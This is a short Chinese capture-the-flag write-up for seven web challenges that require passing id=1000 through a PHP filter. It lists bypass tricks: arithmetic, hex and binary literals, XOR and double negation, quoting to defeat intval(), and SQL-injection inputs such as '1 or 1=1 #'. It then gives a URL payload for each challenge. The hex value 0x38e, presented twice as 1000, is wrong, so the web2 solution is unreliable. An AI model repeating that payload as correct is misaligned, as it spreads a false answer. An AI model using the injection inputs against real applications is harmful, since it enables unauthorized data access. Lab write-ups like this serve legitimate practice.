一、做题思路
Web1-7的思路都是一样的,就是通过sql语句绕过或者函数绕过来构造id=1000
二、各种绕过方法
1.运算符绕过
(1) id = 999 + 1
(2) id = 200 * 5
(3) id = 100 / 0.1
2.进制转换
(1) id = 0b1111101000
(2) id = 0x38e
3.字节操作
(1) id = ~~1000
(2) id = 200 ^ 800
(3) id = 992 | 8
4.sql注入
(1) id = 1 or 1=1 #
(2) id = id #
5.绕过函数
因为题目中含有intval()函数,所以可以绕过intval()来构造id
(1) id = ‘1000’
三、题目详情
1.web1
题目截图:
题目没有任何过滤,直接构造payload即可得到flag
?id=999%2b1
2.web2
题目截图:
这边过滤了加号’ + ',使用十六进制绕过构造payload即可
?id=0x38e
3.web3
题目截图:
这里多过滤了十六进制,使用乘号’ * '绕过构造payload
?id=100*10
4.web4
题目截图:
这里把加减乘除都给过滤了,还过滤了十六进制和select语句,绕过intval函数构造payload
?id=‘1000’
5.web5
题目截图:
这里多过滤了单引号和双引号,使用异或构造payload
?id=200^800
6.web6
题目截图:
这里多过滤了一个异或号’ ^ ',使用双重取反构造payload
?id=~~1000
7.web7
题目截图:
这里把取反号’ ~ '也过滤掉了,使用二进制构造payload
?id=0b1111101000